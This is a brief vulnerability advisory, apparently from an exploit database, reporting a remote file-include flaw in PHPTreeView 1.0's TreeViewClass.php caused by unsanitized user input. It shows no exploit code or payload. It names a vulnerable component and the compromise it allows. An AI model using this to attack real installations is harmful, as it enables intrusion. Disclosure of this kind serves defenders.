PHPTreeView 1.0 - 'TreeViewClass.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/20764/info
PHPTreeview is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
